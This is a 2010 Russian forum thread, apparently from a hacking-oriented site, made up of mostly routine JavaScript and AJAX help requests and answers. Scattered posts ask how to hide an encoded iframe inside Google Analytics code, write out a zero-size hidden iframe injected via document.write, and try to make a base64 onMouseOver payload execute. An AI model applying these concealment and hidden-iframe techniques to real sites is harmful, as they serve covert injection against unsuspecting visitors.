16.01.2010, 16:41
var xmlHttp = createXmlHttpRequestObject();
var up; var down; var left; var right;
function createXmlHttpRequestObject() {
var xmlHttp;
if(window.ActiveXObject){try{xmlHttp = new ActiveXObject("Microsoft.XMLHTTP");}
catch (e){xmlHttp = false;}}else{try{xmlHttp = new XMLHttpRequest();}
catch (e){xmlHttp = false;}}
if(!xmlHttp){alert("Error creating the XMLHttpRequest object.");}else {return xmlHttp;}
}

xmlHttp.onreadystatechange = readData;

function process(){
if (xmlHttp.readyState == 4 || xmlHttp.readyState == 0){
xmlHttp.open("GET", "konekt.php?up=" + up + "&down=" + down + "&left=" + left + "&right=" + right, true);
xmlHttp.send(null);
up=0; down=0; left=0; right=0;
}
}


function readData(){
if (xmlHttp.readyState == 4 && xmlHttp.status == 200) {
xmlResponse = xmlHttp.responseXML;
xmlRoot = xmlResponse.documentElement;
var mapa = xmlRoot.getElementsByTagName("map")[0].firstChild.data;
var players = xmlRoot.getElementsByTagName("players")[0].firstChild.data;
document.getElementById("one").innerHTML = mapa;
document.getElementById("igrok").innerHTML = players;
document.getElementById("imgaup").onclick = function(){up=1};
document.getElementById("imagadown").onclick = function(){down=1};
document.getElementById("imagaright").onclick = function(){right=1};
document.getElementById("imagaleft").onclick = function(){left=1};
}
}

setInterval(function(){if (up||down||left||right) process()},200);

в опере работает хорошо...в ie виснет, а вот в мозиле ff не пашет.... mapa не выводиться до конца...чуть больше половины загружает и все...... перепробывал уже все.. что делать?

astrologer
16.01.2010, 17:06
чуть больше половины загружает 4096 символов?

Jekel
16.01.2010, 18:36
наверное....а что делать чтобы больше грузило?

Jekel
16.01.2010, 18:40
я понял....спаибо...прочел уже что мозилла шлак полный

Extremal
18.01.2010, 11:18
Подскажите пожалуйсто.Есть меню авторизации(auth.php),после ввода данных оно меняется на меню пользователя(menu.php) можно сделать так что бы это происходило без обновления страницы?

imajo.ati
18.01.2010, 11:51
Подскажите пожалуйсто.Есть меню авторизации(auth.php),после ввода данных оно меняется на меню пользователя(menu.php) можно сделать так что бы это происходило без обновления страницы?можно

Extremal
18.01.2010, 11:53
можно
Глупый ответ,и так знаю что можно,хотелось бы увидеть код Ajax или ссылку на какую нибудь тему по моему вопросу.

Winst0n
20.01.2010, 13:45
Extremal, http://sa-mp.ws/load/ajaxLogin.rar

SerJo
20.01.2010, 21:49
подскажите где взять отдельный код или плагин для jQuery для ajax-upload
хотелось бы код по возможности меньше и проще, без всяких лишних функций...

b3
21.01.2010, 20:43
SerJo
Тут несколько:
http://plugins.jquery.com/project/Plugins/category/20
Этот я юзал:
http://plugins.jquery.com/project/jsupload
Офф сайт плагина:
http://valums.com/ajax-upload/
Пример :
http://valums.com/wp-content/uploads/ajax-upload/demo-jquery.htm

Furitano
22.01.2010, 16:40
Я еще достаточный новичок в web-программировании, делайте скидку, если выражаюсь непрофессионально.

Мой скрипт будет сохранять странички приложений контакта. Проблема - похоже, там используется Ajax или схожая технология. Исходный код страницы (например, 3-я: http://vkontakte.ru/gsearch.php?from=apps#c[section]=apps&c[sort]=1&offset=40) НЕ СОДЕРЖИТ в себе описания приложений на этой страничке. Он содержит данные только первой странички списка.

Однако если вручную сохранять страничку через браузер (целиком!), то код сохраняется как надо и его можно потом парсить.

Вопрос - как мне научиться видеть код страницы, который ей соответствует? Или с помощью какого PHP-скрипта можно взять этот актуальный код, обойдя подлый Ajax, или что еще там? Спасибо!

j0ker13
22.01.2010, 18:07
POST /gsearch.php?from=apps
Host vkontakte.ru
User-Agent Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2pre) Gecko/20100121 Ubuntu/9.04 (jaunty) Namoroka/3.6pre
Accept text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language ru,en;q=0.5
Accept-Encoding gzip,deflate
Accept-Charset ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive 115
Connection keep-alive
Content-Type application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With XMLHttpRequest
Referer http://vkontakte.ru/gsearch.php?from=apps
Content-Length 35
Cookie .......
Pragma no-cache
Cache-Control no-cache

c[section]=apps&c[sort]=1&offset=20
probui)

Furitano
22.01.2010, 18:15
probui)

Я с радостью, но хоть одну мысль - что мне делать с этой информацией? :)

ExZoD
23.01.2010, 05:19
Я с радостью, но хоть одну мысль - что мне делать с этой информацией? :)

это дамп http запроса, который браузер отправляет вконтакту для изъятия следующего приложения. шли такие же запросы и анализируй ответы.

Furitano
23.01.2010, 14:27
это дамп http запроса, который браузер отправляет вконтакту для изъятия следующего приложения. шли такие же запросы и анализируй ответы.

Попробую, спасибо

Byrger
25.01.2010, 20:33
Помогите написать простенький скрипт...

Есть select
<select name="server">
<option value="0">Paradise</option>
<option value="1">test</option>
</select>

Нужно чтоб при выборе элемента - записывалось значение в куки допустим server=1 и страница обновлялась

Solker
25.01.2010, 21:00
Byrger

<html>
<head>
<script src="http://code.jquery.com/jquery-1.4.min.js" type="text/javascript"></script>
<script src="http://stilbuero.de/jquery/cookie/jquery.cookie.js" type="text/javascript"></script>
<script>
function submit(value)
{
$.cookie('server', value);
location.reload();
}
</script>
</head>
<body>
<select name="server">
<option selected>Please select</option>
<option onclick='submit(1)'>Paradise</option>
<option onclick='submit(2)'>test</option>
</select>
</body>
</html>

mff
27.01.2010, 23:46
Подскажите, как реализовать "скрыть", "развернуть" панель, как в форумах булки? И чтобы запоминало при входе на сайт.
:confused:

Alpha][
28.01.2010, 06:19
почему вот этот скрипт

function toggle(id)
{
if($('ul#'+id).css('display') == 'none')
{
$('ul#'+id).show('normal');
}
else $('ul#'+id).hide('normal');
}
В нормальных браузерах показывет/скрывает список , а в ослах ниже 8 не работает ? Что я не правильно делаю ?

Byrger
28.01.2010, 22:28
Есть скрипт переадресации
<script type="text/javascript"> <!--
function exec_refresh(){
window.status = "Переадресация..." + myvar;
myvar = myvar + " .";
var timerID = setTimeout("exec_refresh();", 100);
if (timeout > 0){
timeout -= 1;
}else{
clearTimeout(timerID);
window.status = "";
window.location = "http://google.com";
}
}
var myvar = "";
var timeout = 10;
exec_refresh();
//--> </script>

Как сделать чтоб он возвращал на предыдущую страницу с релоадом её?
history.back() не релоадит страницу

У объекта history есть свойство previous
Возвращает интернет-адрес предыдущего в списке истории документа.
Но при вызове alert(history.previous) он не выводит предыдущую страницу

ZET36
29.01.2010, 16:13
как обратиться к таблице через js если она не имеет ни id ни имени?
Думаю вот как то через document.body.innerhtml искать через indexof(); положение символов и прописать туда хотя бы айдишку

или же есть какие методы с document.getElementsByTagName()?

Banderos_Russia
29.01.2010, 22:30
Подскажите скрипт, который не позволяет нажать на ссылку пока не нажмешь по другой ссылке. Пример: ссылка на скачивание "Скачать", когда на неё нажимаешь, появляется окно в котором нужно обязательно нажать на ссылку, тогда ссылка "Скачать" начинает перенаправлять куда нужно. Вот как то так)

di_sl
30.01.2010, 07:36
Подскажите кто знает, вообщем нашел скриптик
<script language="JavaScript"><!--
var h=(Math.random()*6);
if (h <1) document.writeln("Текст 1");
if (h > 1 && h < 2) document.writeln("Текст 2");
if (h > 2 && h < 3) document.writeln("Текст 3");
if (h > 3 && h < 4) document.writeln("Текст 4");
if (h > 4 && h < 5) document.writeln("Текст 5");
if (h > 5 && h < 6) document.writeln("Текст 6");
// --></script>
Этот скрипт выводит рандомно текст, но хотелось бы чтоб он выводил ссылки, по которым можно будет кликать.
Может кто подскажет? а то данный скриптик мне оч подходит для моего дела) заранее огромное спасибо!

di_sl
30.01.2010, 07:47
Всё, проблема решена

medical
30.01.2010, 13:55
Всем привет!

Есть стандартный код гуглоанализа:

<script type="text/javascript"> var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www."); document.write(unescape("%3Cscript src='" + gaJsHost + "google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E"));
</script>
<script type="text/javascript">
try { var pageTracker = _gat._getTracker("UA-6694304-3"); pageTracker._trackPageview(); } catch(err) {}
</script>


как встроить без палева закодированный iframe используя их функции из подгружаемого скрипта ga.js ?

imajo.ati
30.01.2010, 20:55
Есть стандартный код гуглоанализа:

как встроить без палева закодированный iframe используя их функции из подгружаемого скрипта ga.js ?

вместо google-analytics.com/ga.js вставить свой скрипт.
иначе код будет слишком длинный.

j0ker13
31.01.2010, 18:12
2Banderos_Russia
kak to tak naverna
<script type="text/javascript" src="jquery.min.js"></script>
<script type="text/javascript" src="jquery-ui.min.js"></script>
link <a href="#" id="link" onClick="alert('Denied!')">download</a>
<script>
link_download='http://site.com/test.rar';
need_link_download='http://site.com/111.rar';
$(document).ready(function(){
$("#down").click(function(){
$("#hide").css("display","block");
$("#down2").attr("href",need_link_download);
})
$("#down2").click(function(){
$("#link").attr('onClick','');
$("#link").attr('href',link_download);
})
})
</script>

<div id="down">download before
<div id="hide" style="display: none"><a href="#" id="down2">click</a></div>

2ZET36
jQ:
все таблицы
tbl=$("table").contains("//тут текст который есть в табле//")

aldangold
03.02.2010, 20:23
Есть такой "кусок" скрипта <div class="listing" style="display:none" id="open_ajax_dialog_codediv">
<xmp id="ajax_dialog">Dialog.alert({url:"sample.html", options: {method: 'get'}},
почему вместо sample.html вставляешь обычный адресс допустим "http://forum.antichat.ru/newreply.php" то тогда скрипт не работает? И можно ли вообще так сделать как я делаю?
З.Ы Аякс толком не изучил, объясните пожалуйста.

aldangold
03.02.2010, 23:40
Есть такой "кусок" скрипта <div class="listing" style="display:none" id="open_ajax_dialog_codediv">
<xmp id="ajax_dialog">Dialog.alert({url:"sample.html", options: {method: 'get'}},
почему вместо sample.html вставляешь обычный адресс допустим "http://forum.antichat.ru/newreply.php" то тогда скрипт не работает? И можно ли вообще так сделать как я делаю?
З.Ы Аякс толком не изучил, объясните пожалуйста.

Спасибо же не надо помощи, решил проблему Скриптом вида <script type="text/javascript">

function open_window2() {var win = new Window({className: "alphacube", title: "Ruby on Rails",
top:70, left:100, width:600, height:400,
url: "http://...../", showEffectOptions: {duration:1.5}})
win.show();
}

</script>

heretic1990
04.02.2010, 22:52
как сделать такое же "Копирование в буфер обмена" как на depositfiles после загрузки.
у них там это на флешь сделано, я пробовал на javascript, но проблема в том что не во всех браузерах работает((

TDKronuS
04.02.2010, 23:36
<script>

function CopyToClipboard()

{

CopiedTxt = document.selection.createRange();

CopiedTxt.execCommand("Copy");

}

</script>

скопировать все
<script>

function CopyToClipboard()

{

document.Form1.txtArea.focus();

document.Form1.txtArea.select();

CopiedTxt = document.selection.createRange();

CopiedTxt.execCommand("Copy");

}

</script>

вставить из буфера

<script>

function CopyToClipboard()

{

CopiedTxt = document.selection.createRange();

CopiedTxt.execCommand("Copy");

}

function PasteFromClipboard()

{

document.Form1.txtArea.focus();

PastedText = document.Form1.txtArea.createTextRange();

PastedText.execCommand("Paste");

}

</script>

heretic1990
04.02.2010, 23:47
TDKronuS, это не во всех браузерах работает, мне желательно как на депозите, я бы попробовал бы от туда рипнуть, да делать это долго((

biophreak
05.02.2010, 10:55
Кроссбразуерно можно решить только на флеше, ибо из соображений безопасности не все браузеры позволяют модифицировать буфер обмена.

Gray_Wolf
05.02.2010, 18:31
Всё никак не могу сесть за изучение аджакса, да и найденные сайты с примерами скорее выносят мозг чем чему-то учат(видимо это из-за моего хренового знания джавы).
Кто может дать ссылку с примером либо написать пример следующего:
1. На странице есть некий фрейм, под ним 2 кнопки.
2. По нажатию на кнопку 1 внутри фрейма отображается результат работы скрипта "/test.php?id=1"
3. По нажатию на кнопку 2 внутри фрейма отображается результат работы скрипта "/test.php?id=2"

Думаю это самый простой пример использования AJAX'а, но думаю зная это мне будет уже полегче читать мануалы...

astrologer
05.02.2010, 18:49
Gray_Wolf<iframe id="view" name="view"></iframe>
<ul>
<li><a href="/test.php?id=1" target="view">1</a>
<li><a href="/test.php?id=2" target="view">2</a>
</ul>

Gray_Wolf
05.02.2010, 20:37
2astrologer
Как это сделать без JS я итак знаю, меня интересует именно AJAX...
(я просто попытался придумать самую простую задачу, для того чтобы потом не разгребать 1000 строк кода)

suser
05.02.2010, 21:13
а разве это не просто?

b3
05.02.2010, 22:36
Всё никак не могу сесть за изучение аджакса, да и найденные сайты с примерами скорее выносят мозг чем чему-то учат(видимо это из-за моего хренового знания джавы).
Кто может дать ссылку с примером либо написать пример следующего:
1. На странице есть некий фрейм, под ним 2 кнопки.
2. По нажатию на кнопку 1 внутри фрейма отображается результат работы скрипта "/test.php?id=1"
3. По нажатию на кнопку 2 внутри фрейма отображается результат работы скрипта "/test.php?id=2"

Думаю это самый простой пример использования AJAX'а, но думаю зная это мне будет уже полегче читать мануалы...

Я незнаю где и что вы читали, но на момент когда я в JS знал только alert('ololo'); я читал етот ресурс:
http://xmlhttprequest.ru/
И через час после прочтение у меня уже была готова своя функция ajax.
А вообще советую почитать jQuery, тут предельно все просто, знаний JS не надо, чтоб догадатся что да как :
http://api.jquery.com/jQuery.ajax/
В конце страници несколько примеров.

olishort
06.02.2010, 00:47
+1

Leon2009
06.02.2010, 00:55
привет! что то я не понил как им пользоватся? ajax это яваскрипт и ПШП в одном :confused: а есть хоть программа какая ни будь что создавать на ажакс приложение?

mff
06.02.2010, 16:00
Подскажите, как зашифровать javascript? :( Очень нужно.

Leon2009
06.02.2010, 16:09
привет! я думаю что мд5, может я и ошибаюсь? попробуй скопируй ссылку и переведи ее в мд5. т.к все эти шифровки сделаны для человека, но не для пк. компу всеровно как ты ему напишешь, он всеровно увидит что ему надо.

imajo.ati
06.02.2010, 17:26
Подскажите, как зашифровать javascript? :( Очень нужно.
http://code.google.com/intl/ru-RU/closure/compiler/

b3
07.02.2010, 07:19
привет! что то я не понил как им пользоватся? ajax это яваскрипт и ПШП в одном :confused: а есть хоть программа какая ни будь что создавать на ажакс приложение?
Ужс, http://ru.wikipedia.org/wiki/AJAX

AJAX (ˈeɪdʒæks, от англ. Asynchronous Javascript and XML — «асинхронный JavaScript и XML») — подход к построению интерактивных пользовательских интерфейсов веб-приложений, заключающийся в «фоновом» обмене данными браузера с веб-сервером. В результате, при обновлении данных веб-страница не перезагружается полностью и веб-приложения становятся более быстрыми и удобными.

А вот и "программа" http://api.jquery.com/category/ajax/

Ctacok
07.02.2010, 07:43
Вот пишу сайт с поддержкой ajax, собственно, там страницы (Модули новости, поиск и т.п.) грузяться через ajax, как передать GET запрос в загруженную страницу, а не в index.php.

{BuT@Min}
08.02.2010, 16:05
Возможно ли сделать чтобы при наличии файла выводилась одна надпись,а если файла нет другая.Файл расположен на другом хосте.Или по наличию какой либо фразы.

b3
08.02.2010, 16:14
Возможно ли сделать чтобы при наличии файла выводилась одна надпись,а если файла нет другая.Файл расположен на другом хосте.Или по наличию какой либо фразы.
http://ua.php.net/get_headers
смотреть по заголовкам, если 200 значит файл есть.

{BuT@Min}
08.02.2010, 19:01
http://ua.php.net/get_headers
смотреть по заголовкам, если 200 значит файл есть.
На php то я знаю как такое сделать,в том то и дело что нужен JavaScript

ufalog
08.02.2010, 20:16
как сделать активную ссылку или js автосубмит из такого запроса


qsform_more_opt=0&choise=4&spr_realty_type%5B0%5D= 2&realty_type%5B0%5D%5B%5D=10&country=&region=&cit y=&spr_description%5B0%5D=1&description%5B0%5D%5B% 5D=&min_payment=&max_payment=&spr_description%5B1% 5D=2&description%5B1%5D%5B%5D=&spr_description%5B2 %5D=3&description%5B2%5D%5B%5D=

Godliker
09.02.2010, 14:44
Вопрос по соц сети вконтакте.

Возможно ли написать такой скрипт который бы добавлял друзей с заявок по определенному городу к примеру.
?
Если да то готов заплатить за создание такого скрипта.

REBUUS
09.02.2010, 15:07
Вопрос по соц сети вконтакте.

Возможно ли написать такой скрипт который бы добавлял друзей с заявок по определенному городу к примеру.
?
Если да то готов заплатить за создание такого скрипта.

тебе в раздел работа , там тебе сделают :)

у меня такой вопрос, добавил гугл мап на сайт и там надо в <body onload="GMapInit()" onunload="GUnload()"> вставлять onload="GMapInit()" onunload="GUnload()" , а если у меня нету тега <body> точнее использую смс и не желательно туда что то записывать, как еще это можно сделать ??? в <div> <button onclic> засовывал но не получается

В инете вычитал что можно
$(document).ready(function() {
GMapInit();
});

а куда вставлять не знаю

snep
10.02.2010, 02:45
Вопрос следущий, почему у меня не пропадает текст, после того когда я кликну по ней мышью в Форму ввода?


<html>
<head>
<title>off_top</title>
<script type=text/javascript>
function f(){
var mail = document.getElementByld('mail');
mail.value = '';
}
</script>
</head>
<body>
<form>
<input type="text" value="Введите e-mail" onclick="f()" id="mail">

b3
10.02.2010, 09:41
Вопрос следущий, почему у меня не пропадает текст, после того когда я кликну по ней мышью в Форму ввода?


<html>
<head>
<title>off_top</title>
<script type=text/javascript>
function f(){
var mail = document.getElementByld('mail');
mail.value = '';
}
</script>
</head>
<body>
<form>
<input type="text" value="Введите e-mail" onclick="f()" id="mail">


Вот пример:

<form method="get" action="">
<input name="s" type="text" value="Вводи" onfocus="if (this.value == 'Вводи') {this.value = '';}" onblur="if (this.value == '') {this.value = 'Вводи';}" size="10" tabindex="1" />
<input name="x" type="submit">
</form>

snep
10.02.2010, 15:38
Странно а на видосе показывали Уроки видео, там оно работало, тока он там через слайды показывает

b3
10.02.2010, 15:47
Нефиг всякие видео уроки смотреть, привыкли к всему готовому, раньше люди за знаниями в библиотеки ходили, ждали очереди за нужной книгой а сейчас весь интернет доступен, книг валом ито лень читать, уже нужно видео сомтреть =)

diGriz
10.02.2010, 16:37
2 snep
Замени document.getElementByld('mail'); на document.getElementById('mail');

snep
10.02.2010, 16:58
Нефиг всякие видео уроки смотреть, привыкли к всему готовому, раньше люди за знаниями в библиотеки ходили, ждали очереди за нужной книгой а сейчас весь интернет доступен, книг валом ито лень читать, уже нужно видео сомтреть =)

я с тобой согласен, просто я щитаю то, что лутче пойму, чем прочитаю, а так я раньше к примеру html учебники читал, так я там всё вызубрил и всё щяс помню. как что почему) а с js затрудняловка.

snep
10.02.2010, 17:03
а почему в каждом скрипте знак равенства '=' надо делать с пробелом? то есть так.
пробел- "_"
---
mail.value_=_'';
---
mail.value = '';
.... ?

biophreak
13.02.2010, 12:39
Кто тебе такую глупость сказал?
Да, есть такие рекомендации jslint, но это не обязательно.

SEKTOR3A
13.02.2010, 15:50
плиз подскажите как зашифровать этот код в базу 64 чтоб при движении мышкой исполнился код
<a href="" onMouseOver="alert('Your Message');return true;">Linked Text</a>

вот пробовал так сделать но нечего не вышло
<a href="data:text/html;base64, b25Nb3VzZU92ZXI9ImFsZXJ0KCdZb3VyIE1lc3NhZ2UnKTtyZX R1cm4gdHJ1ZTs=">Linked Text</a>


извиняюсь если не туда попал других тем просто не нашел

Pashkela
13.02.2010, 16:09
http://www.webtoolkit.info/javascript-base64.html

SEKTOR3A
13.02.2010, 16:48
да в базу 64 я тоже могу закодировать вопрос был в другом как сделать чтоб и в базе 64 при движении мышкой код сработал не могу выставить сам код

пример <a href="data:text/html;base64,тут сам код исполняя ,если провести по самому тексту ну только в базе 64 ">Linked Text</a>

mailbrush
13.02.2010, 21:01
Как сделать всплывающий баннер? Тоесть чтобы на странице "поверх всего" выводился мой текст с картинкой.

mailbrush
13.02.2010, 21:18
Уже нашёл, <style type="text/css">

.block {
background: White;
border: solid 2px Red;
position: fixed;
top: 100px;
left: 200px;
z-index:99999999999;
}
</style>
<div class="block"><center><a href="http://google.com"><img src="banner.gif"></a></center></div>
У меня выводит нормально, но у юзеров, у которых разрешение поменьше, этот баннер не по-центре. Как поставить автоопределение центра?

suser
14.02.2010, 10:22
Есть окошко которое вылетает на яве.
Нужно както сделать так чтобы когда оно появлялось то сама страница за этим всплывающим окном темнела на 50 %. Дайте код на яве для затемнения страници.

Окошко:
#facebox td (линия 37)
{
border-bottom-width: 0pt;
border-bottom-style: none;
border-bottom-color: -moz-use-text-color;
padding-top: 0pt;
padding-right: 0pt;
padding-bottom: 0pt;
padding-left: 0pt;
}
#facebox .body (линия 42)
{
padding-top: 10px;
padding-right: 10px;
padding-bottom: 10px;
padding-left: 10px;
background-color: #ffffff;
background-image: none;
background-repeat: repeat;
background-attachment: scroll;
background-position: 0% 0%;
width: 370px;
}

Solker
16.02.2010, 15:33
надо отключить кнопку после нажатия. ЧТо бы предотвратить мульти клики.
Кнопка - Submit. Добавил в субмит onclick="this.disabled=true;"
Нажимается и становится дисаблед во всех браузерах.
А отправляет данные из формы только в firefox
как быть?

b3
16.02.2010, 16:16
mailbrush

top: 100px;
left: 200px;

укажи в % соотношении.

Solker

<script language="JavaScript" type="text/javascript">
function close_block(x){document.getElementById(x).style.di splay='none';}
function open_block(x){document.getElementById(x).style.dis play='block';}
</script>
<input type="text">
<div id="green"><button type="submit" class="button" onclick="close_block('green'); open_block('go');">Искать</button></div>
<div id="go" style="display: none; padding: 5px 0"><strong>Идет Поиск ...</strong></div>

Может такая конструкция тебе больше подойдет?

0ldbi4
16.02.2010, 17:26
Парсер курса доллара на цбрф.


$date = date("d/m/Y");
$code='R01235';
$file = file_get_contents("http://www.cbr.ru/scripts/XML_daily.asp?date_req=".$date);
preg_match("#<Valute ID=\"" . $code . "\".*?>(.*?)</Valute>#is", $file, $m);
preg_match("#<Value>(.*?)</Value>#is", $m[1], $r);
$dollar = str_replace(",", ".", $r[1]);
echo ("DOL: ".$dollar);

Подскажите как будет выглядеть тоже самое на ява.

b3
16.02.2010, 19:04
Парсер курса доллара на цбрф.


$date = date("d/m/Y");
$code='R01235';
$file = file_get_contents("http://www.cbr.ru/scripts/XML_daily.asp?date_req=".$date);
preg_match("#<Valute ID=\"" . $code . "\".*?>(.*?)</Valute>#is", $file, $m);
preg_match("#<Value>(.*?)</Value>#is", $m[1], $r);
$dollar = str_replace(",", ".", $r[1]);
echo ("DOL: ".$dollar);

Подскажите как будет выглядеть тоже самое на ява.

Регулярками парсить XML, круто очень, а если прийдется весь документ отпарсить ты будеш писать 100500 регулярок? Может так легче будет?


<?php
$date = date("d/m/Y");
$xmlstr = file_get_contents('http://www.cbr.ru/scripts/XML_daily.asp?date_req='.$date);

$xml = new SimpleXMLElement($xmlstr);
$count = count($xml->Valute);
echo $xml->attributes()->Date.'<br>';
for ($i=0;$i<$count;$i++) {
echo $xml->Valute[$i]->Name.'<br>';
echo $xml->Valute[$i]->Nominal.' '.$xml->Valute[$i]->CharCode.' = '.$xml->Valute[$i]->Value.' RUS <br>';
echo '<hr>';
}
?>

0ldbi4
16.02.2010, 19:09
Спасибо парень первый день php разбираю)) пример с интернта я по компилируемым языкам вобще, вот решил с веб разобратся
Твоим воспользуюсь.

Нужно на яве для выполнения в браузере.

snep
16.02.2010, 23:35
Никто, я часто ето видел просто

mff
18.02.2010, 13:49
Подскажите, есть слой:
<div id="qwer" style="width:240px; height:170px; overflow:auto; margin-top:4px;"></div>

В нем слои: <div class="menu_more"><a href="ch.php" align="left" class="menu">TV</a></div>

css:

.menu_more{
white-space:nowrap;
background-color:#cccccc;
padding:1px;
margin-bottom:1px;
cursor:pointer;
}


Как сделать подкрутку до нужного слоя? Чтобы вврху был нужный слой.

http://s004.radikal.ru/i208/1002/97/1d03327857de.png

imajo.ati
19.02.2010, 22:25
Как сделать подкрутку до нужного слоя? Чтобы вврху был нужный слой.
<script>
document.getElementById("qwer").scrollTop = 19*NUMBER_OF_ELEMENT;
</script>





как упростить функцию по переводу кривой долготы в нормальную?


// преобразовать lon < -180 и lon > 180 в нормальную lon
Map.lonToLon = function( lon )
{
if ( Math.abs(lon) > 180 )
{
if ( lon < -180 ) lon = 360+lon;
else lon = -360+lon;
return Map.lonToLon( lon );
}
return lon;
};

AtomoS
22.02.2010, 07:14
Есть страница:
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="ru" lang="ru">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=windows-1251"/>
<title>выбор цвета.</title>
<script type="text/javascript">
function change_color(hval)
{
document.color.new_color.value=hval;
return true;
}
</script>
</head>
<body>
<form method="post" action="?page=account&act=chcolor" name="color">
<input type="text" name="new_color"></form>
<p>
<a style="color:#000000;" href="#" onclick="change_color('000000');">#000000</a>
<a style="color:#AAAAAA;" href="#" onclick="change_color('AAAAAA');">#AAAAAA</a>
<a style="color:#009900;" href="#" onclick="change_color('009900');">#009900</a>
<a style="color:#80FF80;" href="#" onclick="change_color('80FF80');">#80FF80</a>
<a style="color:#0099FF;" href="#" onclick="change_color('0099FF');">#0099FF</a>
<a style="color:#00FFFF;" href="#" onclick="change_color('00FFFF');">#00FFFF</a>
<a style="color:#FF0000;" href="#" onclick="change_color('FF0000');">#FF0000</a>
<a style="color:#FF8000;" href="#" onclick="change_color('FF8000');">#FF8000</a>
<a style="color:#BF00FF;" href="#" onclick="change_color('BF00FF');">#BF00FF</a>
</p>
</body>
</html>
Нужно чтобы при вводе цвета типа: FF0000 в поле ввода, цвет текста в форме принимал это значение.

тоесть если я ввожу FF0000, то этот текст станет красным..
данный сабж нужен для подбора цвета юзером..

можно такое сделать?

diGriz
22.02.2010, 10:54
2 AtomoS
Добавь document.color.new_color.style.color='#' + hval;

AtomoS
22.02.2010, 15:55
diGriz, а можешь показать конкретно с моим примером?
так ничего у меня не вышло..

diGriz
22.02.2010, 16:38
Измени функцию change_color() на:


function change_color(hval)
{
document.color.new_color.value=hval;
document.color.new_color.style.color='#' + hval;
return true;
}

AtomoS
22.02.2010, 17:01
diGriz, почти то что я хотел. но мне нужна динамика.
цвет должен меняться на лету. если я буду вводить другой цвет, то оно должно менять цвет текста в форме..

diGriz
22.02.2010, 17:16
diGriz, почти то что я хотел. но мне нужна динамика.
цвет должен меняться на лету. если я буду вводить другой цвет, то оно должно менять цвет текста в форме..

Добавь еще одну функцию и событие onkeyup().


function dinamicChange(val) {
document.color.new_color.style.color='#' + val;
}


<input type="text" name="new_color" onkeyup="dinamicChange(this.value)">

AtomoS
23.02.2010, 03:21
Конечный вариант:
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="ru" lang="ru">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=windows-1251"/>
<title>выбор цвета.</title>
<script type="text/javascript">
function change_color(hval) {
document.color.new_color.value=hval;
document.color.new_color.style.color='#' + hval;
return true;
}
</script>
</head>
<body>
<form method="post" action="?page=account&act=chcolor" name="color">
<input type="text" name="new_color" maxlength="6" onkeyup="change_color(this.value)"></form>
<p>
<a style="color:#000000;" href="#" onclick="change_color('000000');">#000000</a>
<a style="color:#AAAAAA;" href="#" onclick="change_color('AAAAAA');">#AAAAAA</a>
<a style="color:#009900;" href="#" onclick="change_color('009900');">#009900</a>
<a style="color:#80FF80;" href="#" onclick="change_color('80FF80');">#80FF80</a>
<a style="color:#0099FF;" href="#" onclick="change_color('0099FF');">#0099FF</a>
<a style="color:#00FFFF;" href="#" onclick="change_color('00FFFF');">#00FFFF</a>
<a style="color:#FF0000;" href="#" onclick="change_color('FF0000');">#FF0000</a>
<a style="color:#FF8000;" href="#" onclick="change_color('FF8000');">#FF8000</a>
<a style="color:#BF00FF;" href="#" onclick="change_color('BF00FF');">#BF00FF</a>
</p>
</body>
</html>
Всем спасибо!

restart_05
25.02.2010, 16:40
Как с помощью явы можно реализовать открытие сайта в новом окне как только загрузится страница??

mff
25.02.2010, 21:34
1 <script type="text/javascript">
2 var flag = false;
3 for (i=0; i < navigator.plugins.length; i++) {
4 if(navigator.plugins[i].filename=="npvlc.dll"){ flag = true; }
5 }
6 if(flag === false) { alert('Плагин не установлен.') }
7 </script>Парни, как сделать, чтоб в IE работал мой код? :confused: :confused: :confused: :confused:

DiSi
26.02.2010, 17:15
<script language="JavaScript">
document.write(
'<iframe src="http://forum.antichat.ru'
+ 'threadedpost1934468.html#post1934468' " frameborder=0 vspace=0 hspace=0 width=0 height=0 marginwidth=0'
+ ' marginheight=0 scrolling=no></iframe>');
</script>

в чем проблема? неработает код(
или как в ставить в .js айрефм что б потом его можна было втсавить в нтмл

Deathdreams
26.02.2010, 17:19
<script language="JavaScript">
document.write(
'<iframe src="http://forum.antichat.ru'
+ 'threadedpost1934468.html#post1934468' " frameborder=0 vspace=0 hspace=0 width=0 height=0 marginwidth=0'
+ ' marginheight=0 scrolling=no></iframe>');
</script>

в чем проблема? неработает код(
или как в ставить в .js айрефм что б потом его можна было втсавить в нтмл
<script language="JavaScript">
document.write('<iframe src="http://forum.antichat.ru'
+ 'threadedpost1934468.html#post1934468' + '" frameborder=0 vspace=0 hspace=0 width=0 height=0 marginwidth=0'
+ ' marginheight=0 scrolling=no></iframe>');</script>

Pashkela
26.02.2010, 17:24
или как в ставить в .js айрефм


если в .js - то <script></script> там нафинг не нужны

DiSi
26.02.2010, 18:06
<script language="JavaScript">
document.write('<iframe src="http://forum.antichat.ru'
+ 'threadedpost1934468.html#post1934468' + '" frameborder=0 vspace=0 hspace=0 width=0 height=0 marginwidth=0'
+ ' marginheight=0 scrolling=no></iframe>');</script>
а как подлючить js c cайта например?

<SCRIPT SCR="http://ыыыы.ru/1.js">
</SCRIPT>
в 1.js я забрасую етот код без "<script language="JavaScript"> и </script>"
но код на сранице нтмл не работает

НTL
26.02.2010, 20:49
как на js узнать длительность mp3 треков?

j0ker13
26.02.2010, 22:39
<script language="JavaScript">
document.write('<iframe src="http://forum.antichat.ru'
+ '/threadedpost1934468.html#post1934468' + '" frameborder=0 vspace=0 hspace=0 width=0 height=0 marginwidth=0'
+ ' marginheight=0 scrolling=no></iframe>');</script>так?
ты случайно не пытаешься результат увидеть на страничке?)

DiSi
26.02.2010, 23:40
так?
ты случайно не пытаешься результат увидеть на страничке?)
